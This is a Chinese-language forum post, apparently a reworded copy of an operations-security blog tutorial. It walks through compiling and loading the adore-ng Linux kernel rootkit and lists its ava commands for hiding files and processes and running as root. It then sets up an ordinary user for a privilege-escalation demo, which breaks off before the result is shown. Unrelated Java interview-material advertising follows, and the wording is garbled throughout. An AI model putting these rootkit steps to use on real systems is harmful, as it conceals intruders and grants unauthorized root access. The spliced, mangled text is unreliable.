ToB企服应用市场:ToB评测及商务社交产业平台

标题: 【运维安全】Linux下rootkit把木马步伐的使用 [打印本页]

作者: 笑看天下无敌手 时间: 2024-8-6 18:08
标题: 【运维安全】Linux下rootkit把木马步伐的使用
[root@gaosh-1 adore]# cd adore-ng-master
[root@gaosh-1 adore-ng-master]#
3. 安装依赖包

[root@gaosh-1 adore-ng-master]# mount /dev/cdrom /mnt
mount: block device /dev/sr0 is write-protected, mounting read-only
[root@gaosh-1 adore-ng-master]#
安装内核模块：
[root@gaosh-1 adore-ng-master]# rpm -ivh /mnt/Packages/kernel-devel-2.6.32-696.el6.x86_64.rpm
安装adore-ng

[root@gaosh-1 adore-ng-master]# ls
adore-ng.c ava.c libinvisible.h Makefile
adore-ng.h libinvisible.c LICENSE README.md
[root@gaosh-1 adore-ng-master]#
[root@gaosh-1 adore-ng-master]# make -j 4
留意这里无需执行make install
我们只需要加载相应的模块即可
[root@gaosh-1 adore-ng-master]# insmod adore-ng.ko
测试下令是否运行

[root@gaosh-1 adore-ng-master]# ./ava
Usage: ./ava {h,u,r,R,i,v,U} [file or PID]
I print info (secret UID etc)
h hide file ## 隐蔽文件
u unhide file ## 取消隐蔽
r execute as root ## 提权像root一样运行
R remove PID forever ## 删除PID
U uninstall adore
i make PID invisible ### 隐蔽历程
v make PID visible
rootkit木马的使用

提权演示

实验步骤：

创建普通用户便于测试，由于我们要用普通用户提权
将adore-ng移动到可以让普通用户访问的目录，在root下普通用户没有权限
使用r下令进行提权
提权效果演示

1. 创建普通用户便于测试，由于我们要用普通用户提权

创建测试用户：
[root@gaosh-1 adore]# useradd zmgaosh;echo 123456 |passwd --stdin zmgaosh
useradd：用户“zmgaosh”已存在
更改用户 zmgaosh 的密码。
passwd：全部的身份验证令牌已经成功更新。
[root@gaosh-1 adore]#
2. 将adore-ng移动到可以让普通用户访问的目录，在root下普通用户没有权限

[root@gaosh-1 adore]# cp -r adore-ng-master /tmp/
[root@gaosh-1 adore]# chmod 777 /tmp/adore-ng-master/ -R 让普通用户有权限访问
3. 使用r下令进行提权

[root@gaosh-1 adore]# su - zmgaosh ## 切换到普通用户
[zmgaosh@gaosh-1 ~]$ cd /tmp/adore-ng-master/
[zmgaosh@gaosh-1 adore-ng-master]$
4. 提权效果演示

自我先容一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到如今。
深知大多数Java工程师，想要提升技能，每每是自己探索成长大概是报班学习，但对于培训机构动则几千的学费，着实压力不小。自己不成体系的自学效果低效又漫长，而且极易遇到天花板技术停滞不前！
因此收集整理了一份《2024年Java开发全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋侪，同时减轻各人的负担。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，根本涵盖了95%以上Java开发知识点，真正体系化！
由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包罗大厂面经、学习条记、源码课本、实战项目、解说视频，并且会持续更新！
如果你觉得这些内容对你有帮助，可以扫码获取！！（备注Java获取）

末了

针对近来许多人都在口试，我这边也整理了相称多的口试专题资料，也有其他大厂的面经。希望可以帮助到各人。
最新整理口试题

上述的口试题答案都整理成文档条记。也还整理了一些口试资料&最新2021收集的一些大厂的口试真题
最新整理电子书

最新整理大厂口试文档

以上就是本文的全部内容，希望对各人的学习有所帮助，也希望各人多多支持。
《一线大厂Java口试题解析+核心总结学习条记+最新解说视频+实战项目源码》，点击传送门即可获取！
理电子书
[外链图片转存中…(img-J1cujft7-1712262697726)]
最新整理大厂口试文档
[外链图片转存中…(img-S9Wa5Pyv-1712262697727)]
以上就是本文的全部内容，希望对各人的学习有所帮助，也希望各人多多支持。
《一线大厂Java口试题解析+核心总结学习条记+最新解说视频+实战项目源码》，点击传送门即可获取！

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。

欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/)